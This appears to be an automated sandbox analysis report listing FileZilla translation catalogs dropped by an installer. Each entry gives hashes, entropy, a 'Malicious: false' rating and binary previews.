SSDEEP:	3072:hzMBwcT4r6mpsodxzorsNPTtKJj7B1bJREYplLkiT8zlm68X5Go:hz4wG4rVsSxzorQPTsJj7B1tREYp9ezG
MD5:	4C65AF738638953953AB9D0F34255122
SHA1:	BC6445926B48797A6DECF1D5C5678B6E75A52C44
SHA-256:	70CC8DE90776FA85FAAF746EC87B05B9D35741BE34E86E5BE7CE9F58129FAA31
SHA-512:	7F23331210A199F8F46438774ADB54D4A18D2C4476D828B48EA302FA08DEDD6DF6B6F4F0392FB0E045B10105628F686B715CB9AF9DF3131BEC0F522248EC67D5
Malicious:	false
Preview:	.................(.......P.......P.......P.......P..S....Q......`Q..A...\|Q.......Q..0....Q..B....R......CR......XR......bR......pR......{R.......R.."....R.......R.......R.......R.......R.......S.......S.......S......'S......8S......LS..2...ZS.......S.......S..6....S.......S.......S.......T..;....T......MT......XT......cT......uT.......T.......T.......T.......T..+....T.......T.......U...... U......0U.."...7U......ZU......kU..%....U.......U.......U.......U..4....U.......V..:....V......ZV......qV..4....V.......V.......V.......V.......V.......W.......W.......W......1W......9W......NW......YW......rW......{W.......W.......W.......W.......W.......W.......W.......W.......X.......X..%....X..R...EX..1....X..0....X.......X.......Y.......Y......<Y......BY......XY......aY......zY.......Y.......Y.......Y..3....Y..$....Z..$...4Z..)...YZ.......Z.......Z.......Z.......Z.......Z.......Z.......Z.......Z.......[....../[......<[.. ...N[......o[......t[.......[.......[.......[.......[.......[.......[......

C:\Program Files (x86)\Fzilla\locales\sr\libfilezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 11 messages, Project-Id-Version: Filezilla 0 '\320\236\320\277\321\200\320\265\320\267\320\275\320\276! \320\241\320\265\321\200\321\202\320\270\321\204\320\270\320\272\320\260\321\202 \321\230\320\265 \320\276\321\202\320\272\320\260\320\267\320\260\320\275'
Category:	dropped
Size (bytes):	1885
Entropy (8bit):	5.614040531495989
Encrypted:	false
SSDEEP:	48:tqk/Thq/TAzjL145qqc/F52/ovVKK0VKsq3n:t3k0ju5q5F52/ovVK7VKln
MD5:	BDBC57157C4C4FC4BD1125527E7CA979
SHA1:	E03BF390041093B2B254607D14B86103962DA357
SHA-256:	3E9A085F53CA4687835C9CE292AA08B0EB71322FE4AEA3FBF1302B038368804B
SHA-512:	7D7AF4900880BB191386BCE4FD50FF5F0A697359915EE2DF20D02C99F1166EF707130F468A041852171023D7CB4857D1CD328D875E2085CFF6598DAD4A861D57
Malicious:	false
Preview:	................t...................$.......X.......R...K...!.......................0...........%...5...B.......x...........8...................L...<......./.......E...?...C.......6.......I...........J....Beware! Certificate has been revoked.Could not get distinguished name of certificate issuer, gnutls_x509_get_issuer_dn failed.Could not get distinguished name of certificate subject, gnutls_x509_get_dn failed.Failed to verify peer certificate.Network unreachable.Remote certificate not trusted..Server did not properly shut down TLS connection.Unsupported certificate type.gnutls_certificate_get_peers returned no certificates.unknown.Project-Id-Version: Filezilla 0.Report-Msgid-Bugs-To: https://trac.filezilla-project.org/.PO-Revision-Date: 2010-10-29 02:30+0100.Last-Translator: Nikola Radovanovic <nrad@eunet.rs>.Language-Team: Serbian <sr@li.org>.Language: sr.MIME-Version: 1.0.Content-Type: text/plain; charset=UTF-8.Content-Transfer-Encoding: 8bit.Plural-Forms: nplurals=3; plural=n%10==1

C:\Program Files (x86)\Fzilla\locales\sv\filezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1624 messages, Project-Id-Version: FileZilla 3 '%H:%M:%S f\303\266rflutet'
Category:	dropped
Size (bytes):	150146
Entropy (8bit):	5.225359759459092
Encrypted:	false
SSDEEP:	3072:pR1bCQvxdV+YmHrrdyFjyTmaPAmB7bUxUga6h5LFUGC1HRk7cbnDfFD8nokfmHKO:NbSdrxyFjyTmkzF4h5LFuPSnokfmHKxE
MD5:	EFDEDC82664388B5C3CC365AF0EF5758
SHA1:	D1C826B80BC3DE650FF0E9BEE13C75CEA668E9F3
SHA-256:	30234AA84999DC2AFBDB306F3ECDA6C015203F4B4794D217061032FA2CB1374B
SHA-512:	726A980C4611231FB4FA9658A37DBB08A033B3B25115C1F65E513E306665ADDCEFA6AE547B279AFC361160C0D28D0B235FAB10FFF70ADD1BAEAA62A1E386ED7B
Malicious:	false
Preview:	........X........2.......e.......e.......e.......e..S....e.......f..A...,f......nf..0....f..B....f.......f.......g.......g......2g......Gg......Ug......_g......jg......zg.."....g.......g.......g.......g.......g..5....g......0h......:h......Gh......Qh......Yh......jh......\|h.......h.......h..2....h.......h.......h..6....i......Li......Ri......^i......qi..;...yi.......i.......i.......i.......i.......i.......i.......j.......j....../j......=j..+...Fj......rj.......j.......j.......j.."....j.......j.......j..%....k......'k....../k......?k......Jk..H...`k..I....k..4....k......(l..:...4l......ol.......l.......l..4....l.......l.......m.......m.......m......'m......3m......>m......Dm......Zm......bm......vm.......m.......m.......m.......m.......m.......m.......m.......n.......n......!n......6n......=n......Qn......_n......hn..%...rn..O....n..R....n..1...;o..0...mo.......o.......o.......o.......o.......o.......o.......p.......p......$p......Sp......sp......~p..2....p..3....p.......p..$....q..$...

C:\Program Files (x86)\Fzilla\locales\sv\is-BRFLP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 74 messages, Project-Id-Version: FileZilla 3 'Ett certifikat i kedjan var signerat med en os\303\244ker algoritm'
Category:	dropped
Size (bytes):	7067
Entropy (8bit):	5.073984641049982
Encrypted:	false
SSDEEP:	192:AMExXnZGJqe790vMm3deOixURJVIDHppM:AH5kB9EeOi+RTIDHpC
MD5:	422617C51D6B6876973A1267F8270BC6
SHA1:	9DFA8A4D614014F56FC29DD6E3B898876E8451F9
SHA-256:	25567F52B6A1D6B8D977D4835604A15604CCBCCC4702E2D5C45293D6DBD4321C
SHA-512:	FD47F3010895DB15B3C8D7B17492CDD3B358AF2A2A72EFF81BC288A5A2C7D68FA92CB7F2F282A61817F99A13F6D03793B645372260546B9211AFEF6F5AFD58F2
Malicious:	false
Preview:	........J.......l...................A.......A...........A.......Z...$...n...........)..........................................F...1..._...........X.......R....... ...X...!...y.............................................................../.......G.......b.......z...........................4.......P...........`...#...t...........).......(...........................0.......H.......[.......i.......{...........+.......+.......L.......-...S................... .......0.......M.......$...^...........................,.......#.......%.......$...B...%...g...'.......?.......7.......-...-...1...[...........5.......................<...}...C.......................%...5... ...[...4...\|...........2...............).......+...D...S...p...........Y.......O...<...+.......7...................................1.......H.......Z.......n...........................................................=...4...E...r...!.......)......................(...G.......p........................................... ...........

C:\Program Files (x86)\Fzilla\locales\sv\is-IN651.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1624 messages, Project-Id-Version: FileZilla 3 '%H:%M:%S f\303\266rflutet'
Category:	dropped
Size (bytes):	150146
Entropy (8bit):	5.225359759459092
Encrypted:	false
SSDEEP:	3072:pR1bCQvxdV+YmHrrdyFjyTmaPAmB7bUxUga6h5LFUGC1HRk7cbnDfFD8nokfmHKO:NbSdrxyFjyTmkzF4h5LFuPSnokfmHKxE
MD5:	EFDEDC82664388B5C3CC365AF0EF5758
SHA1:	D1C826B80BC3DE650FF0E9BEE13C75CEA668E9F3
SHA-256:	30234AA84999DC2AFBDB306F3ECDA6C015203F4B4794D217061032FA2CB1374B
SHA-512:	726A980C4611231FB4FA9658A37DBB08A033B3B25115C1F65E513E306665ADDCEFA6AE547B279AFC361160C0D28D0B235FAB10FFF70ADD1BAEAA62A1E386ED7B
Malicious:	false
Preview:	........X........2.......e.......e.......e.......e..S....e.......f..A...,f......nf..0....f..B....f.......f.......g.......g......2g......Gg......Ug......_g......jg......zg.."....g.......g.......g.......g.......g..5....g......0h......:h......Gh......Qh......Yh......jh......\|h.......h.......h..2....h.......h.......h..6....i......Li......Ri......^i......qi..;...yi.......i.......i.......i.......i.......i.......i.......j.......j....../j......=j..+...Fj......rj.......j.......j.......j.."....j.......j.......j..%....k......'k....../k......?k......Jk..H...`k..I....k..4....k......(l..:...4l......ol.......l.......l..4....l.......l.......m.......m.......m......'m......3m......>m......Dm......Zm......bm......vm.......m.......m.......m.......m.......m.......m.......m.......n.......n......!n......6n......=n......Qn......_n......hn..%...rn..O....n..R....n..1...;o..0...mo.......o.......o.......o.......o.......o.......o.......p.......p......$p......Sp......sp......~p..2....p..3....p.......p..$....q..$...

C:\Program Files (x86)\Fzilla\locales\sv\libfilezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 74 messages, Project-Id-Version: FileZilla 3 'Ett certifikat i kedjan var signerat med en os\303\244ker algoritm'
Category:	dropped
Size (bytes):	7067
Entropy (8bit):	5.073984641049982
Encrypted:	false
SSDEEP:	192:AMExXnZGJqe790vMm3deOixURJVIDHppM:AH5kB9EeOi+RTIDHpC
MD5:	422617C51D6B6876973A1267F8270BC6
SHA1:	9DFA8A4D614014F56FC29DD6E3B898876E8451F9
SHA-256:	25567F52B6A1D6B8D977D4835604A15604CCBCCC4702E2D5C45293D6DBD4321C
SHA-512:	FD47F3010895DB15B3C8D7B17492CDD3B358AF2A2A72EFF81BC288A5A2C7D68FA92CB7F2F282A61817F99A13F6D03793B645372260546B9211AFEF6F5AFD58F2
Malicious:	false
Preview:	........J.......l...................A.......A...........A.......Z...$...n...........)..........................................F...1..._...........X.......R....... ...X...!...y.............................................................../.......G.......b.......z...........................4.......P...........`...#...t...........).......(...........................0.......H.......[.......i.......{...........+.......+.......L.......-...S................... .......0.......M.......$...^...........................,.......#.......%.......$...B...%...g...'.......?.......7.......-...-...1...[...........5.......................<...}...C.......................%...5... ...[...4...\|...........2...............).......+...D...S...p...........Y.......O...<...+.......7...................................1.......H.......Z.......n...........................................................=...4...E...r...!.......)......................(...G.......p........................................... ...........

C:\Program Files (x86)\Fzilla\locales\ta\filezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1705 messages, Project-Id-Version: FileZilla '%H:%M:%S \340\256\256\340\257\201\340\256\237\340\256\277\340\256\250\340\257\215\340\256\244\340\256\244\340\257\201'
Category:	dropped
Size (bytes):	285909
Entropy (8bit):	4.847717687455472
Encrypted:	false
SSDEEP:	1536:kjBINf/kB1OAC8mnVgmGZy7U4m60DH96FpJEZGToQsrh9XArwueyxpdR21f06aDW:k3OLbnmmGlD96FvbTlWirwbMdQ1P3B
MD5:	2449A7A3089C1B88C678021ADD1DD724
SHA1:	5E4EBA5F95088940CB5BB243FD21F65767C47F11
SHA-256:	D59BDD7CD20E35B35A8501B28B5D3CE60DEEBFD75EC29C7D46CF7C2B83AA621B
SHA-512:	400CE8C860DB49AD1BDCACF83B6CF362359A4F65C33D0F92145A6CA102D6DA0FBD5D561F5047B534E0154E80E95CE3654864A0CCC7A3EAC4791C3698C845153F
Malicious:	false
Preview:	................d5.......j.......j.......j.......j..S....j...... k..A...<k......~k..0....k..B....k.......l.......l......"l......Bl......Wl......el......ol......zl.......l.."....l.......l.......l.......m..+....m.......m.......n.......n..5...1n......gn......qn.......n.......n.......n.......n.......n.......n.......n.......n.......n..0....o..2...Go......zo.......o..6....o.......o.......o.......o.......p..;....p......Mp......Xp......cp......up.......p.......p.......p.......p.......p.......p..+....p.......q......+q......=q......Mq.."...Tq......wq.......q..%....q.......q.......q.. ....q.......r..H....r..I...er..4....r.......r..:....r......+s......Bs..4...as.......s.......s.......s.......s.......s.......s.......s.......t.......t.......t......3t......>t......Kt......dt......mt.......t.......t.......t.......t.......t.......t.......t.......t.......u.......u..%....u..O...@u..R....u..1....u..0....v......Fv......Wv......hv.......v.......v.......v.......v.......v.......v.......v.......w......&w..2...

C:\Program Files (x86)\Fzilla\locales\ta\is-T3V4S.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1705 messages, Project-Id-Version: FileZilla '%H:%M:%S \340\256\256\340\257\201\340\256\237\340\256\277\340\256\250\340\257\215\340\256\244\340\256\244\340\257\201'
Category:	dropped
Size (bytes):	285909
Entropy (8bit):	4.847717687455472
Encrypted:	false
SSDEEP:	1536:kjBINf/kB1OAC8mnVgmGZy7U4m60DH96FpJEZGToQsrh9XArwueyxpdR21f06aDW:k3OLbnmmGlD96FvbTlWirwbMdQ1P3B
MD5:	2449A7A3089C1B88C678021ADD1DD724
SHA1:	5E4EBA5F95088940CB5BB243FD21F65767C47F11
SHA-256:	D59BDD7CD20E35B35A8501B28B5D3CE60DEEBFD75EC29C7D46CF7C2B83AA621B
SHA-512:	400CE8C860DB49AD1BDCACF83B6CF362359A4F65C33D0F92145A6CA102D6DA0FBD5D561F5047B534E0154E80E95CE3654864A0CCC7A3EAC4791C3698C845153F
Malicious:	false
Preview:	................d5.......j.......j.......j.......j..S....j...... k..A...<k......~k..0....k..B....k.......l.......l......"l......Bl......Wl......el......ol......zl.......l.."....l.......l.......l.......m..+....m.......m.......n.......n..5...1n......gn......qn.......n.......n.......n.......n.......n.......n.......n.......n.......n..0....o..2...Go......zo.......o..6....o.......o.......o.......o.......p..;....p......Mp......Xp......cp......up.......p.......p.......p.......p.......p.......p..+....p.......q......+q......=q......Mq.."...Tq......wq.......q..%....q.......q.......q.. ....q.......r..H....r..I...er..4....r.......r..:....r......+s......Bs..4...as.......s.......s.......s.......s.......s.......s.......s.......t.......t.......t......3t......>t......Kt......dt......mt.......t.......t.......t.......t.......t.......t.......t.......t.......u.......u..%....u..O...@u..R....u..1....u..0....v......Fv......Wv......hv.......v.......v.......v.......v.......v.......v.......v.......w......&w..2...

C:\Program Files (x86)\Fzilla\locales\th_TH\filezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1338 messages, Project-Id-Version: FileZilla Thai '\340\271\203\340\270\212\340\271\211\340\271\200\340\270\247\340\270\245\340\270\262\340\271\204\340\270\233\340\271\201\340\270\245\340\271\211\340\270\247 %H:%M:%S'
Category:	dropped
Size (bytes):	186489
Entropy (8bit):	5.065712135912668
Encrypted:	false
SSDEEP:	3072:BYmTjxmqq4w1TT2/xVbTq/xGw3mjK1v1a7m:KmTjZqP1TT2/xWZx1vL
MD5:	82934597A91398189945E25B1D2D6E8A
SHA1:	34441252955FE26A0342274278D12E22AA63A2F9
SHA-256:	57232B5409F8EA0FBEAEDB01E884844B50DCC171239329305CC9A453019097B7
SHA-512:	8CEDBE259C50E1AB3A73D99FF068434D9DA48FEF2C0237EA7C3346F86E6A427E8D9E5A03722D6D86FCB8DE8B83C73FF7C84304565269D8A1D56633FD37B505B5
Malicious:	false
Preview:	........:........).......S.......S.......S.......S..S....S......0T..A...LT.......T..0....T..B....T.......U......(U......2U......@U......PU.."...jU.......U.......U.......U.......U..5....U.......V.......V.......V......"V......3V......GV..2...UV.......V.......V..6....V.......V.......V.......W..;....W......HW......SW......^W......uW......\|W.......W.......W.......W..+....W.......W.......W.......X...... X......'X......8X..%...WX......}X.......X.......X..4....X.......X..:....X......'Y......>Y..4...]Y.......Y.......Y.......Y.......Y.......Y.......Y.......Y.......Y.......Z.......Z....../Z......:Z......GZ......`Z......iZ.......Z.......Z.......Z.......Z.......Z.......Z.......Z.......Z.......[..%....[..1...3[..0...e[.......[.......[.......[.......[.......[.......[.......[.......\.......\......K\......k\......v\..3....\..$....\..$....\..)....]......3]......I]......[]......h]......u]......z].......].......].......].......].......].......].. ....^......3^......8^......P^......X^......\^......b^......

C:\Program Files (x86)\Fzilla\locales\th_TH\is-4GJOJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1338 messages, Project-Id-Version: FileZilla Thai '\340\271\203\340\270\212\340\271\211\340\271\200\340\270\247\340\270\245\340\270\262\340\271\204\340\270\233\340\271\201\340\270\245\340\271\211\340\270\247 %H:%M:%S'
Category:	dropped
Size (bytes):	186489
Entropy (8bit):	5.065712135912668
Encrypted:	false
SSDEEP:	3072:BYmTjxmqq4w1TT2/xVbTq/xGw3mjK1v1a7m:KmTjZqP1TT2/xWZx1vL
MD5:	82934597A91398189945E25B1D2D6E8A
SHA1:	34441252955FE26A0342274278D12E22AA63A2F9
SHA-256:	57232B5409F8EA0FBEAEDB01E884844B50DCC171239329305CC9A453019097B7
SHA-512:	8CEDBE259C50E1AB3A73D99FF068434D9DA48FEF2C0237EA7C3346F86E6A427E8D9E5A03722D6D86FCB8DE8B83C73FF7C84304565269D8A1D56633FD37B505B5
Malicious:	false
Preview:	........:........).......S.......S.......S.......S..S....S......0T..A...LT.......T..0....T..B....T.......U......(U......2U......@U......PU.."...jU.......U.......U.......U.......U..5....U.......V.......V.......V......"V......3V......GV..2...UV.......V.......V..6....V.......V.......V.......W..;....W......HW......SW......^W......uW......\|W.......W.......W.......W..+....W.......W.......W.......X...... X......'X......8X..%...WX......}X.......X.......X..4....X.......X..:....X......'Y......>Y..4...]Y.......Y.......Y.......Y.......Y.......Y.......Y.......Y.......Y.......Z.......Z....../Z......:Z......GZ......`Z......iZ.......Z.......Z.......Z.......Z.......Z.......Z.......Z.......Z.......[..%....[..1...3[..0...e[.......[.......[.......[.......[.......[.......[.......[.......\.......\......K\......k\......v\..3....\..$....\..$....\..)....]......3]......I]......[]......h]......u]......z].......].......].......].......].......].......].. ....^......3^......8^......P^......X^......\^......b^......

C:\Program Files (x86)\Fzilla\locales\th_TH\is-IB74E.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 45 messages, Project-Id-Version: FileZilla Thai '\340\270\243\340\270\260\340\270\247\340\270\261\340\270\207! \340\271\203\340\270\232\340\270\243\340\270\261\340\270\232\340\270\243\340\270\255\340\270\207\340\270\226\340\270\271\340\270\201\340\271\200\340\270\236\340\270\264\340\270\201\340\270\226\340\270\255\340\270\231'
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	5.160951448498475
Encrypted:	false
SSDEEP:	192:oH3ewMmdrfzUJz8SMO/6T6LIi9KeWw7pqFYYo:MvfzCz8SMQeEIw7pqFY9
MD5:	829E10B9BEBC5FFCD3D3DB2887D8D444
SHA1:	83395C334582C43190B816368A08EB74313B058A
SHA-256:	BB2F2C2B1EA7944229126F1490A4D95B63CEC0242F33BCCFBCC1790B312D16A7
SHA-512:	1751DCFE5EFC3DC1182F06DA95A38D9009FD362ADC1DC2F56F8E523BE8A9AF22C9A90CFAD5AFCB6DE7DED51E2401730A7C5368D161DF2C655C49835D8E3CB5F5
Malicious:	false
Preview:	........-...........................$...................2.......E.......b...................X.......R.......!...`.......................................................................,.......K.......e.......w...#...............................................+.......+...6...-...b................... .......0.......$...........D.......].......w...%.......1...............5...........7.......?...G.......Z... ...?...{...].......].......r...w...l...........W...........].......(.......2...%...6...X...,...............?.......`.......C...v...K.......Q.......E...X...K.......l.......B...W...:.......?.......H.......3...^...x.......b...........n...W.......K...H...Z...............u...v...K.......*...8...E...c...c...............?.......b...........2....Beware! Certificate has been revoked.Cannot assign requested address.Connection aborted.Connection attempt timed out.Connection refused by server.Connection reset by network.Connection reset by peer.Could not get distinguished name of certificate issu

C:\Program Files (x86)\Fzilla\locales\th_TH\libfilezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 45 messages, Project-Id-Version: FileZilla Thai '\340\270\243\340\270\260\340\270\247\340\270\261\340\270\207! \340\271\203\340\270\232\340\270\243\340\270\261\340\270\232\340\270\243\340\270\255\340\270\207\340\270\226\340\270\271\340\270\201\340\271\200\340\270\236\340\270\264\340\270\201\340\270\226\340\270\255\340\270\231'
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	5.160951448498475
Encrypted:	false
SSDEEP:	192:oH3ewMmdrfzUJz8SMO/6T6LIi9KeWw7pqFYYo:MvfzCz8SMQeEIw7pqFY9
MD5:	829E10B9BEBC5FFCD3D3DB2887D8D444
SHA1:	83395C334582C43190B816368A08EB74313B058A
SHA-256:	BB2F2C2B1EA7944229126F1490A4D95B63CEC0242F33BCCFBCC1790B312D16A7
SHA-512:	1751DCFE5EFC3DC1182F06DA95A38D9009FD362ADC1DC2F56F8E523BE8A9AF22C9A90CFAD5AFCB6DE7DED51E2401730A7C5368D161DF2C655C49835D8E3CB5F5
Malicious:	false
Preview:	........-...........................$...................2.......E.......b...................X.......R.......!...`.......................................................................,.......K.......e.......w...#...............................................+.......+...6...-...b................... .......0.......$...........D.......].......w...%.......1...............5...........7.......?...G.......Z... ...?...{...].......].......r...w...l...........W...........].......(.......2...%...6...X...,...............?.......`.......C...v...K.......Q.......E...X...K.......l.......B...W...:.......?.......H.......3...^...x.......b...........n...W.......K...H...Z...............u...v...K.......*...8...E...c...c...............?.......b...........2....Beware! Certificate has been revoked.Cannot assign requested address.Connection aborted.Connection attempt timed out.Connection refused by server.Connection reset by network.Connection reset by peer.Could not get distinguished name of certificate issu

C:\Program Files (x86)\Fzilla\locales\tr\filezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1841 messages, Project-Id-Version: FileZilla 'Ge\303\247en: %H:%M:%S'
Category:	dropped
Size (bytes):	176547
Entropy (8bit):	5.34986970657202
Encrypted:	false
SSDEEP:	3072:OLt8HpjyNsJmfmTkCF15TT7XUw6nKjyGYDl268ATS/EhsW+Vols7HstzlBt:OKX0mICF15TTTOVGYDl268AmEhsW+VoR
MD5:	FAD9FA6DB37D4246F3C76337442FA233
SHA1:	3BBDD875789EA76D6A881CEF9A49EC08559F578E
SHA-256:	105E06BE3EBF1864F6DCC75E8568E571A6DB78CB6A170E009E682129E25021CF
SHA-512:	B9CD6AFFB1B6D9FA76A9FEDDD0CABF22A1FB00F07AE78B702EAB573733FC68DFAF2C9186344FC1CFE3FC4C7F90AFF0530DA047FAEDD0192FC09B8BFD8DBEA81A
Malicious:	false
Preview:	........1........9......,s......,s......-s......>s..S...Ls.......s..A....s.......s..0....t..B...@t.......t.......t.......t.......t.......t.......t.......t.......t.......u.......u.."...2u......Uu......fu......Nv..+...^v.......v.......v.......v..5....v.......v.......v.......w.......w......&w.......w......?w......Qw......ew......vw.......w..K....w..0....w..2...!x..2...Tx.......x..0....x.......x..6....x......"y......(y......4y......Gy..;...Oy.......y.......y.......y.......y.......y.......y.......y.......y.......z.......z......2z......@z..+...Iz......uz.......z.......z.......z.."....z.......z.......z..%....{......*{......2{......B{.. ...M{......n{..H....{..I....{..4....\|......L\|..:...X\|.......\|.......\|.......\|..4....\|..$....}......,}......K}......U}......c}......p}......\|}.......}.......}.......}.......}.......}.......}.......}.......}.......~.......~......+~......6~......P~......V~......j~.......~.......~.......~.......~.......~.......~..%....~..O....~..R...A...1.......0...................

C:\Program Files (x86)\Fzilla\locales\tr\is-DADDU.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1841 messages, Project-Id-Version: FileZilla 'Ge\303\247en: %H:%M:%S'
Category:	dropped
Size (bytes):	176547
Entropy (8bit):	5.34986970657202
Encrypted:	false
SSDEEP:	3072:OLt8HpjyNsJmfmTkCF15TT7XUw6nKjyGYDl268ATS/EhsW+Vols7HstzlBt:OKX0mICF15TTTOVGYDl268AmEhsW+VoR
MD5:	FAD9FA6DB37D4246F3C76337442FA233
SHA1:	3BBDD875789EA76D6A881CEF9A49EC08559F578E
SHA-256:	105E06BE3EBF1864F6DCC75E8568E571A6DB78CB6A170E009E682129E25021CF
SHA-512:	B9CD6AFFB1B6D9FA76A9FEDDD0CABF22A1FB00F07AE78B702EAB573733FC68DFAF2C9186344FC1CFE3FC4C7F90AFF0530DA047FAEDD0192FC09B8BFD8DBEA81A
Malicious:	false
Preview:	........1........9......,s......,s......-s......>s..S...Ls.......s..A....s.......s..0....t..B...@t.......t.......t.......t.......t.......t.......t.......t.......t.......u.......u.."...2u......Uu......fu......Nv..+...^v.......v.......v.......v..5....v.......v.......v.......w.......w......&w.......w......?w......Qw......ew......vw.......w..K....w..0....w..2...!x..2...Tx.......x..0....x.......x..6....x......"y......(y......4y......Gy..;...Oy.......y.......y.......y.......y.......y.......y.......y.......y.......z.......z......2z......@z..+...Iz......uz.......z.......z.......z.."....z.......z.......z..%....{......*{......2{......B{.. ...M{......n{..H....{..I....{..4....\|......L\|..:...X\|.......\|.......\|.......\|..4....\|..$....}......,}......K}......U}......c}......p}......\|}.......}.......}.......}.......}.......}.......}.......}.......}.......~.......~......+~......6~......P~......V~......j~.......~.......~.......~.......~.......~.......~..%....~..O....~..R...A...1.......0...................

C:\Program Files (x86)\Fzilla\locales\tr\is-OVG4M.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 75 messages, Project-Id-Version: FileZilla 'Zincirdeki bir sertifika g\303\274venli olmayan bir algoritma kullan\304\261larak imzalanm\304\261\305\237'
Category:	dropped
Size (bytes):	7255
Entropy (8bit):	5.183774194603898
Encrypted:	false
SSDEEP:	192:nKllslRbs8OZGJqe790vMm3dpuk/YlSUoeg34ooidr2WQo:KllslRb0kB9EpuFwN
MD5:	8C501012D1158DB14142FD23965A7B19
SHA1:	D01D52B5AC282B9A484D5F1BA7819CE708ABBB96
SHA-256:	95445DFC3F7121E466386189622C6677D4E5701F64BD98269887D25B167CA0EE
SHA-512:	B397130F50F192B22588825EDDF1E31BDC4A96E99861BD20898940BBC17A84C49FDA46C32AAADC39AF98EB0793335F967F8E8F02BAFC8F8BCB3D42DD20120BA7
Malicious:	false
Preview:	........K.......t...................A.......A...........Q.......j...$...~...........)...................................:.......V...1...o...........X.......R....... ...h...!...........................................................).......?.......W.......r...................................4.......P...........p...#...............).......(...................*.......@.......X.......k.......y...................+.......+.......L.......-...c................... .......0.......M... ...$...n...........................,.......#.......%...,...$...R...%...w...'.......n.......?...4...7...t...-.......1...............5...)......._.......g...R.......F...\... ...............(...............!...........?...,...Y...(.......(.......-.......4...........;...S...T...E.......!.......$....... ...5.......V.......g... ......................................."...................G... ..._...................5.......E...........&...'...;.......c...........+...........................................$.......1.......

C:\Program Files (x86)\Fzilla\locales\tr\libfilezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 75 messages, Project-Id-Version: FileZilla 'Zincirdeki bir sertifika g\303\274venli olmayan bir algoritma kullan\304\261larak imzalanm\304\261\305\237'
Category:	dropped
Size (bytes):	7255
Entropy (8bit):	5.183774194603898
Encrypted:	false
SSDEEP:	192:nKllslRbs8OZGJqe790vMm3dpuk/YlSUoeg34ooidr2WQo:KllslRb0kB9EpuFwN
MD5:	8C501012D1158DB14142FD23965A7B19
SHA1:	D01D52B5AC282B9A484D5F1BA7819CE708ABBB96
SHA-256:	95445DFC3F7121E466386189622C6677D4E5701F64BD98269887D25B167CA0EE
SHA-512:	B397130F50F192B22588825EDDF1E31BDC4A96E99861BD20898940BBC17A84C49FDA46C32AAADC39AF98EB0793335F967F8E8F02BAFC8F8BCB3D42DD20120BA7
Malicious:	false
Preview:	........K.......t...................A.......A...........Q.......j...$...~...........)...................................:.......V...1...o...........X.......R....... ...h...!...........................................................).......?.......W.......r...................................4.......P...........p...#...............).......(...................*.......@.......X.......k.......y...................+.......+.......L.......-...c................... .......0.......M... ...$...n...........................,.......#.......%...,...$...R...%...w...'.......n.......?...4...7...t...-.......1...............5...)......._.......g...R.......F...\... ...............(...............!...........?...,...Y...(.......(.......-.......4...........;...S...T...E.......!.......$....... ...5.......V.......g... ......................................."...................G... ..._...................5.......E...........&...'...;.......c...........+...........................................$.......1.......

C:\Program Files (x86)\Fzilla\locales\uk_UA\filezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1846 messages, Project-Id-Version: FileZilla '%H:%M:%S \320\274\320\270\320\275\321\203\320\273\320\276'
Category:	dropped
Size (bytes):	235638
Entropy (8bit):	5.417871783378249
Encrypted:	false
SSDEEP:	6144:BJNjM0mICF5XTsI7rwmSbsNc2sIkQxavV:BJ6vFF78mSgNc20Cad
MD5:	5FAB3A171BF12FFA1B52373D8FEC0F8D
SHA1:	91A6A215DD1130F21B8C0BFFD8622BE502DA6671
SHA-256:	E2EF209A335FA6B1E33E4B53B4B0032E30DD66963041D83D093E57D965020749
SHA-512:	9E1E1275C7957675225AB3624D04F537C15DAEDAF83EC309EC0C27E4A111C0D409D2A08A867142545500EEA637EDBC169D9DF37BF1A0A4E7861BF3781FCE61FB
Malicious:	false
